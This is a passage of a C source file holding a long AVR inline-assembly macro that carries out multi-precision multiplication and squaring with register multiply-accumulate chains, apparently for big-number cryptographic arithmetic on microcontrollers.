18537 "adc r24, r25 \n\t" \
18538 "mul r3, r15 \n\t" \
18539 "add r22, r0 \n\t" \
18540 "adc r23, r1 \n\t" \
18541 "adc r24, r25 \n\t" \
18542 "mul r4, r14 \n\t" \
18543 "add r22, r0 \n\t" \
18544 "adc r23, r1 \n\t" \
18545 "adc r24, r25 \n\t" \
18546 "mul r5, r13 \n\t" \
18547 "add r22, r0 \n\t" \
18548 "adc r23, r1 \n\t" \
18549 "adc r24, r25 \n\t" \
18550 "mul r6, r12 \n\t" \
18551 "add r22, r0 \n\t" \
18552 "adc r23, r1 \n\t" \
18553 "adc r24, r25 \n\t" \
18554 "mul r7, r17 \n\t" \
18555 "add r22, r0 \n\t" \
18556 "adc r23, r1 \n\t" \
18557 "adc r24, r25 \n\t" \
18558 "st z+, r22 \n\t" \
18559 \
18560 "ld r17, y+ \n\t" \
18561 "ldi r22, 0 \n\t" \
18562 "mul r2, r17 \n\t" \
18563 "add r23, r0 \n\t" \
18564 "adc r24, r1 \n\t" \
18565 "adc r22, r25 \n\t" \
18566 "mul r3, r16 \n\t" \
18567 "add r23, r0 \n\t" \
18568 "adc r24, r1 \n\t" \
18569 "adc r22, r25 \n\t" \
18570 "mul r4, r15 \n\t" \
18571 "add r23, r0 \n\t" \
18572 "adc r24, r1 \n\t" \
18573 "adc r22, r25 \n\t" \
18574 "mul r5, r14 \n\t" \
18575 "add r23, r0 \n\t" \
18576 "adc r24, r1 \n\t" \
18577 "adc r22, r25 \n\t" \
18578 "mul r6, r13 \n\t" \
18579 "add r23, r0 \n\t" \
18580 "adc r24, r1 \n\t" \
18581 "adc r22, r25 \n\t" \
18582 "mul r7, r12 \n\t" \
18583 "add r23, r0 \n\t" \
18584 "adc r24, r1 \n\t" \
18585 "adc r22, r25 \n\t" \
18586 "st z+, r23 \n\t" \
18587 \
18588 "ld r2, x+ \n\t" \
18589 "ldi r23, 0 \n\t" \
18590 "mul r3, r17 \n\t" \
18591 "add r24, r0 \n\t" \
18592 "adc r22, r1 \n\t" \
18593 "adc r23, r25 \n\t" \
18594 "mul r4, r16 \n\t" \
18595 "add r24, r0 \n\t" \
18596 "adc r22, r1 \n\t" \
18597 "adc r23, r25 \n\t" \
18598 "mul r5, r15 \n\t" \
18599 "add r24, r0 \n\t" \
18600 "adc r22, r1 \n\t" \
18601 "adc r23, r25 \n\t" \
18602 "mul r6, r14 \n\t" \
18603 "add r24, r0 \n\t" \
18604 "adc r22, r1 \n\t" \
18605 "adc r23, r25 \n\t" \
18606 "mul r7, r13 \n\t" \
18607 "add r24, r0 \n\t" \
18608 "adc r22, r1 \n\t" \
18609 "adc r23, r25 \n\t" \
18610 "mul r2, r12 \n\t" \
18611 "add r24, r0 \n\t" \
18612 "adc r22, r1 \n\t" \
18613 "adc r23, r25 \n\t" \
18614 "st z+, r24 \n\t" \
18615 \
18616 "ld r3, x+ \n\t" \
18617 "ldi r24, 0 \n\t" \
18618 "mul r4, r17 \n\t" \
18619 "add r22, r0 \n\t" \
18620 "adc r23, r1 \n\t" \
18621 "adc r24, r25 \n\t" \
18622 "mul r5, r16 \n\t" \
18623 "add r22, r0 \n\t" \
18624 "adc r23, r1 \n\t" \
18625 "adc r24, r25 \n\t" \
18626 "mul r6, r15 \n\t" \
18627 "add r22, r0 \n\t" \
18628 "adc r23, r1 \n\t" \
18629 "adc r24, r25 \n\t" \
18630 "mul r7, r14 \n\t" \
18631 "add r22, r0 \n\t" \
18632 "adc r23, r1 \n\t" \
18633 "adc r24, r25 \n\t" \
18634 "mul r2, r13 \n\t" \
18635 "add r22, r0 \n\t" \
18636 "adc r23, r1 \n\t" \
18637 "adc r24, r25 \n\t" \
18638 "st z+, r22 \n\t" \
18639 \
18640 "ld r4, x+ \n\t" \
18641 "ldi r22, 0 \n\t" \
18642 "mul r5, r17 \n\t" \
18643 "add r23, r0 \n\t" \
18644 "adc r24, r1 \n\t" \
18645 "adc r22, r25 \n\t" \
18646 "mul r6, r16 \n\t" \
18647 "add r23, r0 \n\t" \
18648 "adc r24, r1 \n\t" \
18649 "adc r22, r25 \n\t" \
18650 "mul r7, r15 \n\t" \
18651 "add r23, r0 \n\t" \
18652 "adc r24, r1 \n\t" \
18653 "adc r22, r25 \n\t" \
18654 "mul r2, r14 \n\t" \
18655 "add r23, r0 \n\t" \
18656 "adc r24, r1 \n\t" \
18657 "adc r22, r25 \n\t" \
18658 "mul r3, r13 \n\t" \
18659 "add r23, r0 \n\t" \
18660 "adc r24, r1 \n\t" \
18661 "adc r22, r25 \n\t" \
18662 "st z+, r23 \n\t" \
18663 \
18664 "ld r5, x+ \n\t" \
18665 "ldi r23, 0 \n\t" \
18666 "mul r6, r17 \n\t" \
18667 "add r24, r0 \n\t" \
18668 "adc r22, r1 \n\t" \
18669 "adc r23, r25 \n\t" \
18670 "mul r7, r16 \n\t" \
18671 "add r24, r0 \n\t" \
18672 "adc r22, r1 \n\t" \
18673 "adc r23, r25 \n\t" \
18674 "mul r2, r15 \n\t" \
18675 "add r24, r0 \n\t" \
18676 "adc r22, r1 \n\t" \
18677 "adc r23, r25 \n\t" \
18678 "mul r3, r14 \n\t" \
18679 "add r24, r0 \n\t" \
18680 "adc r22, r1 \n\t" \
18681 "adc r23, r25 \n\t" \
18682 "st z+, r24 \n\t" \
18683 \
18684 "ld r6, x+ \n\t" \
18685 "ldi r24, 0 \n\t" \
18686 "mul r7, r17 \n\t" \
18687 "add r22, r0 \n\t" \
18688 "adc r23, r1 \n\t" \
18689 "adc r24, r25 \n\t" \
18690 "mul r2, r16 \n\t" \
18691 "add r22, r0 \n\t" \
18692 "adc r23, r1 \n\t" \
18693 "adc r24, r25 \n\t" \
18694 "mul r3, r15 \n\t" \
18695 "add r22, r0 \n\t" \
18696 "adc r23, r1 \n\t" \
18697 "adc r24, r25 \n\t" \
18698 "mul r4, r14 \n\t" \
18699 "add r22, r0 \n\t" \
18700 "adc r23, r1 \n\t" \
18701 "adc r24, r25 \n\t" \
18702 "st z+, r22 \n\t" \
18703 \
18704 "ld r7, x+ \n\t" \
18705 "ldi r22, 0 \n\t" \
18706 "mul r2, r17 \n\t" \
18707 "add r23, r0 \n\t" \
18708 "adc r24, r1 \n\t" \
18709 "adc r22, r25 \n\t" \
18710 "mul r3, r16 \n\t" \
18711 "add r23, r0 \n\t" \
18712 "adc r24, r1 \n\t" \
18713 "adc r22, r25 \n\t" \
18714 "mul r4, r15 \n\t" \
18715 "add r23, r0 \n\t" \
18716 "adc r24, r1 \n\t" \
18717 "adc r22, r25 \n\t" \
18718 "st z+, r23 \n\t" \
18719 \
18720 "ldi r23, 0 \n\t" \
18721 "mul r3, r17 \n\t" \
18722 "add r24, r0 \n\t" \
18723 "adc r22, r1 \n\t" \
18724 "adc r23, r25 \n\t" \
18725 "mul r4, r16 \n\t" \
18726 "add r24, r0 \n\t" \
18727 "adc r22, r1 \n\t" \
18728 "adc r23, r25 \n\t" \
18729 "mul r5, r15 \n\t" \
18730 "add r24, r0 \n\t" \
18731 "adc r22, r1 \n\t" \
18732 "adc r23, r25 \n\t" \
18733 "st z+, r24 \n\t" \
18734 \
18735 "ldi r24, 0 \n\t" \
18736 "mul r4, r17 \n\t" \
18737 "add r22, r0 \n\t" \
18738 "adc r23, r1 \n\t" \
18739 "adc r24, r25 \n\t" \
18740 "mul r5, r16 \n\t" \
18741 "add r22, r0 \n\t" \
18742 "adc r23, r1 \n\t" \
18743 "adc r24, r25 \n\t" \
18744 "st z+, r22 \n\t" \
18745 \
18746 "ldi r22, 0 \n\t" \
18747 "mul r5, r17 \n\t" \
18748 "add r23, r0 \n\t" \
18749 "adc r24, r1 \n\t" \
18750 "adc r22, r25 \n\t" \
18751 "mul r6, r16 \n\t" \
18752 "add r23, r0 \n\t" \
18753 "adc r24, r1 \n\t" \
18754 "adc r22, r25 \n\t" \
18755 "st z+, r23 \n\t" \
18756 \
18757 "ldi r23, 0 \n\t" \
18758 "mul r6, r17 \n\t" \
18759 "add r24, r0 \n\t" \
18760 "adc r22, r1 \n\t" \
18761 "adc r23, r25 \n\t" \
18762 "st z+, r24 \n\t" \
18763 \
18764 "mul r7, r17 \n\t" \
18765 "add r22, r0 \n\t" \
18766 "adc r23, r1 \n\t" \
18767 "st z+, r22 \n\t" \
18768 "st z+, r23 \n\t" \
18769 \
18770 "sbiw r26, 12 \n\t" \
18771 "sbiw r30, 44 \n\t" \
18772 "ld r2, x+ \n\t" \
18773 "ld r3, x+ \n\t" \
18774 "ld r4, x+ \n\t" \
18775 "ld r5, x+ \n\t" \
18776 "ld r6, x+ \n\t" \
18777 "ld r7, x+ \n\t" \
18778 "ld r8, x+ \n\t" \
18779 "ld r9, x+ \n\t" \
18780 "ld r10, x+ \n\t" \
18781 "ld r11, x+ \n\t" \
18782 "ld r12, x+ \n\t" \
18783 "ld r13, x+ \n\t" \
18784 "ld r14, x+ \n\t" \
18785 "ld r15, x+ \n\t" \
18786 "ld r16, x+ \n\t" \
18787 "ld r17, x+ \n\t" \
18788 "ld r18, x+ \n\t" \
18789 "ld r19, x+ \n\t" \
18790 "ld r20, x+ \n\t" \
18791 "ld r21, x+ \n\t" \
18792 \
18793 "ldi r23, 0 \n\t" \
18794 "mul r2, r2 \n\t" \
18795 "st z+, r0 \n\t" \
18796 "mov r22, r1 \n\t" \
18797 \
18798 "ldi r24, 0 \n\t" \
18799 "mul r2, r3 \n\t" \
18800 "add r22, r0 \n\t" \
18801 "adc r23, r1 \n\t" \
18802 "adc r24, r25 \n\t" \
18803 "add r22, r0 \n\t" \
18804 "adc r23, r1 \n\t" \
18805 "adc r24, r25 \n\t" \
18806 "st z+, r22 \n\t" \
18807 \
18808 "ldi r22, 0 \n\t" \
18809 "mul r2, r4 \n\t" \
18810 "add r23, r0 \n\t" \
18811 "adc r24, r1 \n\t" \
18812 "adc r22, r25 \n\t" \
18813 "add r23, r0 \n\t" \
18814 "adc r24, r1 \n\t" \
18815 "adc r22, r25 \n\t" \
18816 "mul r3, r3 \n\t" \
18817 "add r23, r0 \n\t" \
18818 "adc r24, r1 \n\t" \
18819 "adc r22, r25 \n\t" \
18820 "st z+, r23 \n\t" \
18821 \
18822 "ldi r29, 0 \n\t" \
18823 "mul r2, r5 \n\t" \
18824 "mov r23, r0 \n\t" \
18825 "mov r28, r1 \n\t" \
18826 "mul r3, r4 \n\t" \
18827 "add r23, r0 \n\t" \
18828 "adc r28, r1 \n\t" \
18829 "adc r29, r25 \n\t" \
18830 "lsl r23 \n\t" \
18831 "rol r28 \n\t" \
18832 "rol r29 \n\t" \
18833 "add r23, r24 \n\t" \
18834 "adc r28, r22 \n\t" \
18835 "adc r29, r25 \n\t" \
18836 "st z+, r23 \n\t" \
18837 \
18838 "ldi r22, 0 \n\t" \
18839 "mul r2, r6 \n\t" \
18840 "mov r23, r0 \n\t" \
18841 "mov r24, r1 \n\t" \
18842 "mul r3, r5 \n\t" \
18843 "add r23, r0 \n\t" \
18844 "adc r24, r1 \n\t" \
18845 "adc r22, r25 \n\t" \
18846 "lsl r23 \n\t" \
18847 "rol r24 \n\t" \
18848 "rol r22 \n\t" \
18849 "mul r4, r4 \n\t" \
18850 "add r23, r0 \n\t" \
18851 "adc r24, r1 \n\t" \
18852 "adc r22, r25 \n\t" \
18853 "add r23, r28 \n\t" \
18854 "adc r24, r29 \n\t" \
18855 "adc r22, r25 \n\t" \
18856 "st z+, r23 \n\t" \
18857 \
18858 "ldi r29, 0 \n\t" \
18859 "mul r2, r7 \n\t" \
18860 "mov r23, r0 \n\t" \
18861 "mov r28, r1 \n\t" \
18862 "mul r3, r6 \n\t" \
18863 "add r23, r0 \n\t" \
18864 "adc r28, r1 \n\t" \
18865 "adc r29, r25 \n\t" \
18866 "mul r4, r5 \n\t" \
18867 "add r23, r0 \n\t" \
18868 "adc r28, r1 \n\t" \
18869 "adc r29, r25 \n\t" \
18870 "lsl r23 \n\t" \
18871 "rol r28 \n\t" \
18872 "rol r29 \n\t" \
18873 "add r23, r24 \n\t" \
18874 "adc r28, r22 \n\t" \
18875 "adc r29, r25 \n\t" \
18876 "st z+, r23 \n\t" \
18877 \
18878 "ldi r22, 0 \n\t" \
18879 "mul r2, r8 \n\t" \
18880 "mov r23, r0 \n\t" \
18881 "mov r24, r1 \n\t" \
18882 "mul r3, r7 \n\t" \
18883 "add r23, r0 \n\t" \
18884 "adc r24, r1 \n\t" \
18885 "adc r22, r25 \n\t" \
18886 "mul r4, r6 \n\t" \
18887 "add r23, r0 \n\t" \
18888 "adc r24, r1 \n\t" \
18889 "adc r22, r25 \n\t" \
18890 "lsl r23 \n\t" \
18891 "rol r24 \n\t" \
18892 "rol r22 \n\t" \
18893 "mul r5, r5 \n\t" \
18894 "add r23, r0 \n\t" \
18895 "adc r24, r1 \n\t" \
18896 "adc r22, r25 \n\t" \
18897 "add r23, r28 \n\t" \
18898 "adc r24, r29 \n\t" \
18899 "adc r22, r25 \n\t" \
18900 "st z+, r23 \n\t" \
18901 \
18902 "ldi r29, 0 \n\t" \
18903 "mul r2, r9 \n\t" \
18904 "mov r23, r0 \n\t" \
18905 "mov r28, r1 \n\t" \
18906 "mul r3, r8 \n\t" \
18907 "add r23, r0 \n\t" \
18908 "adc r28, r1 \n\t" \
18909 "adc r29, r25 \n\t" \
18910 "mul r4, r7 \n\t" \
18911 "add r23, r0 \n\t" \
18912 "adc r28, r1 \n\t" \
18913 "adc r29, r25 \n\t" \
18914 "mul r5, r6 \n\t" \
18915 "add r23, r0 \n\t" \
18916 "adc r28, r1 \n\t" \
18917 "adc r29, r25 \n\t" \
18918 "lsl r23 \n\t" \
18919 "rol r28 \n\t" \
18920 "rol r29 \n\t" \
18921 "add r23, r24 \n\t" \
18922 "adc r28, r22 \n\t" \
18923 "adc r29, r25 \n\t" \
18924 "st z+, r23 \n\t" \
18925 \
18926 "ldi r22, 0 \n\t" \
18927 "mul r2, r10 \n\t" \
18928 "mov r23, r0 \n\t" \
18929 "mov r24, r1 \n\t" \
18930 "mul r3, r9 \n\t" \
18931 "add r23, r0 \n\t" \
18932 "adc r24, r1 \n\t" \
18933 "adc r22, r25 \n\t" \
18934 "mul r4, r8 \n\t" \
18935 "add r23, r0 \n\t" \
18936 "adc r24, r1 \n\t" \
18937 "adc r22, r25 \n\t" \
18938 "mul r5, r7 \n\t" \
18939 "add r23, r0 \n\t" \
18940 "adc r24, r1 \n\t" \
18941 "adc r22, r25 \n\t" \
18942 "lsl r23 \n\t" \
18943 "rol r24 \n\t" \
18944 "rol r22 \n\t" \
18945 "mul r6, r6 \n\t" \
18946 "add r23, r0 \n\t" \
18947 "adc r24, r1 \n\t" \
18948 "adc r22, r25 \n\t" \
18949 "add r23, r28 \n\t" \
18950 "adc r24, r29 \n\t" \
18951 "adc r22, r25 \n\t" \
18952 "st z+, r23 \n\t" \
18953 \
18954 "ldi r29, 0 \n\t" \
18955 "mul r2, r11 \n\t" \
18956 "mov r23, r0 \n\t" \
18957 "mov r28, r1 \n\t" \
18958 "mul r3, r10 \n\t" \
18959 "add r23, r0 \n\t" \
18960 "adc r28, r1 \n\t" \
18961 "adc r29, r25 \n\t" \
18962 "mul r4, r9 \n\t" \
18963 "add r23, r0 \n\t" \
18964 "adc r28, r1 \n\t" \
18965 "adc r29, r25 \n\t" \
18966 "mul r5, r8 \n\t" \
18967 "add r23, r0 \n\t" \
18968 "adc r28, r1 \n\t" \
18969 "adc r29, r25 \n\t" \
18970 "mul r6, r7 \n\t" \
18971 "add r23, r0 \n\t" \
18972 "adc r28, r1 \n\t" \
18973 "adc r29, r25 \n\t" \
18974 "lsl r23 \n\t" \
18975 "rol r28 \n\t" \
18976 "rol r29 \n\t" \
18977 "add r23, r24 \n\t" \
18978 "adc r28, r22 \n\t" \
18979 "adc r29, r25 \n\t" \
18980 "st z+, r23 \n\t" \
18981 \
18982 "ldi r22, 0 \n\t" \
18983 "mul r2, r12 \n\t" \
18984 "mov r23, r0 \n\t" \
18985 "mov r24, r1 \n\t" \
18986 "mul r3, r11 \n\t" \
18987 "add r23, r0 \n\t" \
18988 "adc r24, r1 \n\t" \
18989 "adc r22, r25 \n\t" \
18990 "mul r4, r10 \n\t" \
18991 "add r23, r0 \n\t" \
18992 "adc r24, r1 \n\t" \
18993 "adc r22, r25 \n\t" \
18994 "mul r5, r9 \n\t" \
18995 "add r23, r0 \n\t" \
18996 "adc r24, r1 \n\t" \
18997 "adc r22, r25 \n\t" \
18998 "mul r6, r8 \n\t" \
18999 "add r23, r0 \n\t" \
19000 "adc r24, r1 \n\t" \
19001 "adc r22, r25 \n\t" \
19002 "lsl r23 \n\t" \
19003 "rol r24 \n\t" \
19004 "rol r22 \n\t" \
19005 "mul r7, r7 \n\t" \
19006 "add r23, r0 \n\t" \
19007 "adc r24, r1 \n\t" \
19008 "adc r22, r25 \n\t" \
19009 "add r23, r28 \n\t" \
19010 "adc r24, r29 \n\t" \
19011 "adc r22, r25 \n\t" \
19012 "st z+, r23 \n\t" \
19013 \
19014 "ldi r29, 0 \n\t" \
19015 "mul r2, r13 \n\t" \
19016 "mov r23, r0 \n\t" \
19017 "mov r28, r1 \n\t" \
19018 "mul r3, r12 \n\t" \
19019 "add r23, r0 \n\t" \
19020 "adc r28, r1 \n\t" \
19021 "adc r29, r25 \n\t" \
19022 "mul r4, r11 \n\t" \
19023 "add r23, r0 \n\t" \
19024 "adc r28, r1 \n\t" \
19025 "adc r29, r25 \n\t" \
19026 "mul r5, r10 \n\t" \
19027 "add r23, r0 \n\t" \
19028 "adc r28, r1 \n\t" \
19029 "adc r29, r25 \n\t" \
19030 "mul r6, r9 \n\t" \
19031 "add r23, r0 \n\t" \
19032 "adc r28, r1 \n\t" \
19033 "adc r29, r25 \n\t" \
19034 "mul r7, r8 \n\t" \
19035 "add r23, r0 \n\t" \
19036 "adc r28, r1 \n\t" \
19037 "adc r29, r25 \n\t" \
19038 "lsl r23 \n\t" \
19039 "rol r28 \n\t" \
19040 "rol r29 \n\t" \
19041 "add r23, r24 \n\t" \
19042 "adc r28, r22 \n\t" \
19043 "adc r29, r25 \n\t" \
19044 "st z+, r23 \n\t" \
19045 \
19046 "ldi r22, 0 \n\t" \
19047 "mul r2, r14 \n\t" \
19048 "mov r23, r0 \n\t" \
19049 "mov r24, r1 \n\t" \
19050 "mul r3, r13 \n\t" \
19051 "add r23, r0 \n\t" \
19052 "adc r24, r1 \n\t" \
19053 "adc r22, r25 \n\t" \
19054 "mul r4, r12 \n\t" \
19055 "add r23, r0 \n\t" \
19056 "adc r24, r1 \n\t" \
19057 "adc r22, r25 \n\t" \
19058 "mul r5, r11 \n\t" \
19059 "add r23, r0 \n\t" \
19060 "adc r24, r1 \n\t" \
19061 "adc r22, r25 \n\t" \
19062 "mul r6, r10 \n\t" \
19063 "add r23, r0 \n\t" \
19064 "adc r24, r1 \n\t" \
19065 "adc r22, r25 \n\t" \
19066 "mul r7, r9 \n\t" \
19067 "add r23, r0 \n\t" \
19068 "adc r24, r1 \n\t" \
19069 "adc r22, r25 \n\t" \
19070 "lsl r23 \n\t" \
19071 "rol r24 \n\t" \
19072 "rol r22 \n\t" \
19073 "mul r8, r8 \n\t" \
19074 "add r23, r0 \n\t" \
19075 "adc r24, r1 \n\t" \
19076 "adc r22, r25 \n\t" \
19077 "add r23, r28 \n\t" \
19078 "adc r24, r29 \n\t" \
19079 "adc r22, r25 \n\t" \
19080 "st z+, r23 \n\t" \
19081 \
19082 "ldi r29, 0 \n\t" \
19083 "mul r2, r15 \n\t" \
19084 "mov r23, r0 \n\t" \
19085 "mov r28, r1 \n\t" \
19086 "mul r3, r14 \n\t" \
19087 "add r23, r0 \n\t" \
19088 "adc r28, r1 \n\t" \
19089 "adc r29, r25 \n\t" \
19090 "mul r4, r13 \n\t" \
19091 "add r23, r0 \n\t" \
19092 "adc r28, r1 \n\t" \
19093 "adc r29, r25 \n\t" \
19094 "mul r5, r12 \n\t" \
19095 "add r23, r0 \n\t" \
19096 "adc r28, r1 \n\t" \
19097 "adc r29, r25 \n\t" \
19098 "mul r6, r11 \n\t" \
19099 "add r23, r0 \n\t" \
19100 "adc r28, r1 \n\t" \
19101 "adc r29, r25 \n\t" \
19102 "mul r7, r10 \n\t" \
19103 "add r23, r0 \n\t" \
19104 "adc r28, r1 \n\t" \
19105 "adc r29, r25 \n\t" \
19106 "mul r8, r9 \n\t" \
19107 "add r23, r0 \n\t" \
19108 "adc r28, r1 \n\t" \
19109 "adc r29, r25 \n\t" \
19110 "lsl r23 \n\t" \
19111 "rol r28 \n\t" \
19112 "rol r29 \n\t" \
19113 "add r23, r24 \n\t" \
19114 "adc r28, r22 \n\t" \
19115 "adc r29, r25 \n\t" \
19116 "st z+, r23 \n\t" \
19117 \
19118 "ldi r22, 0 \n\t" \
19119 "mul r2, r16 \n\t" \
19120 "mov r23, r0 \n\t" \
19121 "mov r24, r1 \n\t" \
19122 "mul r3, r15 \n\t" \
19123 "add r23, r0 \n\t" \
19124 "adc r24, r1 \n\t" \
19125 "adc r22, r25 \n\t" \
19126 "mul r4, r14 \n\t" \
19127 "add r23, r0 \n\t" \
19128 "adc r24, r1 \n\t" \
19129 "adc r22, r25 \n\t" \
19130 "mul r5, r13 \n\t" \
19131 "add r23, r0 \n\t" \
19132 "adc r24, r1 \n\t" \
19133 "adc r22, r25 \n\t" \
19134 "mul r6, r12 \n\t" \
19135 "add r23, r0 \n\t" \
19136 "adc r24, r1 \n\t" \
19137 "adc r22, r25 \n\t" \
19138 "mul r7, r11 \n\t" \
19139 "add r23, r0 \n\t" \
19140 "adc r24, r1 \n\t" \
19141 "adc r22, r25 \n\t" \
19142 "mul r8, r10 \n\t" \
19143 "add r23, r0 \n\t" \
19144 "adc r24, r1 \n\t" \
19145 "adc r22, r25 \n\t" \
19146 "lsl r23 \n\t" \
19147 "rol r24 \n\t" \
19148 "rol r22 \n\t" \
19149 "mul r9, r9 \n\t" \
19150 "add r23, r0 \n\t" \
19151 "adc r24, r1 \n\t" \
19152 "adc r22, r25 \n\t" \
19153 "add r23, r28 \n\t" \
19154 "adc r24, r29 \n\t" \
19155 "adc r22, r25 \n\t" \
19156 "st z+, r23 \n\t" \
19157 \
19158 "ldi r29, 0 \n\t" \
19159 "mul r2, r17 \n\t" \
19160 "mov r23, r0 \n\t" \
19161 "mov r28, r1 \n\t" \
19162 "mul r3, r16 \n\t" \
19163 "add r23, r0 \n\t" \
19164 "adc r28, r1 \n\t" \
19165 "adc r29, r25 \n\t" \
19166 "mul r4, r15 \n\t" \
19167 "add r23, r0 \n\t" \
19168 "adc r28, r1 \n\t" \
19169 "adc r29, r25 \n\t" \
19170 "mul r5, r14 \n\t" \
19171 "add r23, r0 \n\t" \
19172 "adc r28, r1 \n\t" \
19173 "adc r29, r25 \n\t" \
19174 "mul r6, r13 \n\t" \
19175 "add r23, r0 \n\t" \
19176 "adc r28, r1 \n\t" \
19177 "adc r29, r25 \n\t" \
19178 "mul r7, r12 \n\t" \
19179 "add r23, r0 \n\t" \
19180 "adc r28, r1 \n\t" \
19181 "adc r29, r25 \n\t" \
19182 "mul r8, r11 \n\t" \
19183 "add r23, r0 \n\t" \
19184 "adc r28, r1 \n\t" \
19185 "adc r29, r25 \n\t" \
19186 "mul r9, r10 \n\t" \
19187 "add r23, r0 \n\t" \
19188 "adc r28, r1 \n\t" \
19189 "adc r29, r25 \n\t" \
19190 "lsl r23 \n\t" \
19191 "rol r28 \n\t" \
19192 "rol r29 \n\t" \
19193 "add r23, r24 \n\t" \
19194 "adc r28, r22 \n\t" \
19195 "adc r29, r25 \n\t" \
19196 "st z+, r23 \n\t" \
19197 \
19198 "ldi r22, 0 \n\t" \
19199 "mul r2, r18 \n\t" \
19200 "mov r23, r0 \n\t" \
19201 "mov r24, r1 \n\t" \
19202 "mul r3, r17 \n\t" \
19203 "add r23, r0 \n\t" \
19204 "adc r24, r1 \n\t" \
19205 "adc r22, r25 \n\t" \
19206 "mul r4, r16 \n\t" \
19207 "add r23, r0 \n\t" \
19208 "adc r24, r1 \n\t" \
19209 "adc r22, r25 \n\t" \
19210 "mul r5, r15 \n\t" \
19211 "add r23, r0 \n\t" \
19212 "adc r24, r1 \n\t" \
19213 "adc r22, r25 \n\t" \
19214 "mul r6, r14 \n\t" \
19215 "add r23, r0 \n\t" \
19216 "adc r24, r1 \n\t" \
19217 "adc r22, r25 \n\t" \
19218 "mul r7, r13 \n\t" \
19219 "add r23, r0 \n\t" \
19220 "adc r24, r1 \n\t" \
19221 "adc r22, r25 \n\t" \
19222 "mul r8, r12 \n\t" \
19223 "add r23, r0 \n\t" \
19224 "adc r24, r1 \n\t" \
19225 "adc r22, r25 \n\t" \
19226 "mul r9, r11 \n\t" \
19227 "add r23, r0 \n\t" \
19228 "adc r24, r1 \n\t" \
19229 "adc r22, r25 \n\t" \
19230 "lsl r23 \n\t" \
19231 "rol r24 \n\t" \
19232 "rol r22 \n\t" \
19233 "mul r10, r10 \n\t" \
19234 "add r23, r0 \n\t" \
19235 "adc r24, r1 \n\t" \
19236 "adc r22, r25 \n\t" \
19237 "add r23, r28 \n\t" \
19238 "adc r24, r29 \n\t" \
19239 "adc r22, r25 \n\t" \
19240 "st z+, r23 \n\t" \
19241 \
19242 "ldi r29, 0 \n\t" \
19243 "mul r2, r19 \n\t" \
19244 "mov r23, r0 \n\t" \
19245 "mov r28, r1 \n\t" \
19246 "mul r3, r18 \n\t" \
19247 "add r23, r0 \n\t" \
19248 "adc r28, r1 \n\t" \
19249 "adc r29, r25 \n\t" \
19250 "mul r4, r17 \n\t" \
19251 "add r23, r0 \n\t" \
19252 "adc r28, r1 \n\t" \
19253 "adc r29, r25 \n\t" \
19254 "mul r5, r16 \n\t" \
19255 "add r23, r0 \n\t" \
19256 "adc r28, r1 \n\t" \
19257 "adc r29, r25 \n\t" \
19258 "mul r6, r15 \n\t" \
19259 "add r23, r0 \n\t" \
19260 "adc r28, r1 \n\t" \
19261 "adc r29, r25 \n\t" \
19262 "mul r7, r14 \n\t" \
19263 "add r23, r0 \n\t" \
19264 "adc r28, r1 \n\t" \
19265 "adc r29, r25 \n\t" \
19266 "mul r8, r13 \n\t" \
19267 "add r23, r0 \n\t" \
19268 "adc r28, r1 \n\t" \
19269 "adc r29, r25 \n\t" \
19270 "mul r9, r12 \n\t" \
19271 "add r23, r0 \n\t" \
19272 "adc r28, r1 \n\t" \
19273 "adc r29, r25 \n\t" \
19274 "mul r10, r11 \n\t" \
19275 "add r23, r0 \n\t" \
19276 "adc r28, r1 \n\t" \
19277 "adc r29, r25 \n\t" \
19278 "lsl r23 \n\t" \
19279 "rol r28 \n\t" \
19280 "rol r29 \n\t" \
19281 "add r23, r24 \n\t" \
19282 "adc r28, r22 \n\t" \
19283 "adc r29, r25 \n\t" \
19284 "st z+, r23 \n\t" \
19285 \
19286 "ldi r22, 0 \n\t" \
19287 "mul r2, r20 \n\t" \
19288 "mov r23, r0 \n\t" \
19289 "mov r24, r1 \n\t" \
19290 "mul r3, r19 \n\t" \
19291 "add r23, r0 \n\t" \
19292 "adc r24, r1 \n\t" \
19293 "adc r22, r25 \n\t" \
19294 "mul r4, r18 \n\t" \
19295 "add r23, r0 \n\t" \
19296 "adc r24, r1 \n\t" \
19297 "adc r22, r25 \n\t" \
19298 "mul r5, r17 \n\t" \
19299 "add r23, r0 \n\t" \
19300 "adc r24, r1 \n\t" \
19301 "adc r22, r25 \n\t" \
19302 "mul r6, r16 \n\t" \
19303 "add r23, r0 \n\t" \
19304 "adc r24, r1 \n\t" \
19305 "adc r22, r25 \n\t" \
19306 "mul r7, r15 \n\t" \
19307 "add r23, r0 \n\t" \
19308 "adc r24, r1 \n\t" \
19309 "adc r22, r25 \n\t" \
19310 "mul r8, r14 \n\t" \
19311 "add r23, r0 \n\t" \
19312 "adc r24, r1 \n\t" \
19313 "adc r22, r25 \n\t" \
19314 "mul r9, r13 \n\t" \
19315 "add r23, r0 \n\t" \
19316 "adc r24, r1 \n\t" \
19317 "adc r22, r25 \n\t" \
19318 "mul r10, r12 \n\t" \
19319 "add r23, r0 \n\t" \
19320 "adc r24, r1 \n\t" \
19321 "adc r22, r25 \n\t" \
19322 "lsl r23 \n\t" \
19323 "rol r24 \n\t" \
19324 "rol r22 \n\t" \
19325 "mul r11, r11 \n\t" \
19326 "add r23, r0 \n\t" \
19327 "adc r24, r1 \n\t" \
19328 "adc r22, r25 \n\t" \
19329 "add r23, r28 \n\t" \
19330 "adc r24, r29 \n\t" \
19331 "adc r22, r25 \n\t" \
19332 "st z+, r23 \n\t" \
19333 \
19334 "ldi r29, 0 \n\t" \
19335 "mul r2, r21 \n\t" \
19336 "mov r23, r0 \n\t" \
19337 "mov r28, r1 \n\t" \
19338 "mul r3, r20 \n\t" \
19339 "add r23, r0 \n\t" \
19340 "adc r28, r1 \n\t" \
19341 "adc r29, r25 \n\t" \
19342 "mul r4, r19 \n\t" \
19343 "add r23, r0 \n\t" \
19344 "adc r28, r1 \n\t" \
19345 "adc r29, r25 \n\t" \
19346 "mul r5, r18 \n\t" \
19347 "add r23, r0 \n\t" \
19348 "adc r28, r1 \n\t" \
19349 "adc r29, r25 \n\t" \
19350 "mul r6, r17 \n\t" \
19351 "add r23, r0 \n\t" \
19352 "adc r28, r1 \n\t" \
19353 "adc r29, r25 \n\t" \
19354 "mul r7, r16 \n\t" \
19355 "add r23, r0 \n\t" \
19356 "adc r28, r1 \n\t" \
19357 "adc r29, r25 \n\t" \
19358 "mul r8, r15 \n\t" \
19359 "add r23, r0 \n\t" \
19360 "adc r28, r1 \n\t" \
19361 "adc r29, r25 \n\t" \
19362 "mul r9, r14 \n\t" \
19363 "add r23, r0 \n\t" \
19364 "adc r28, r1 \n\t" \
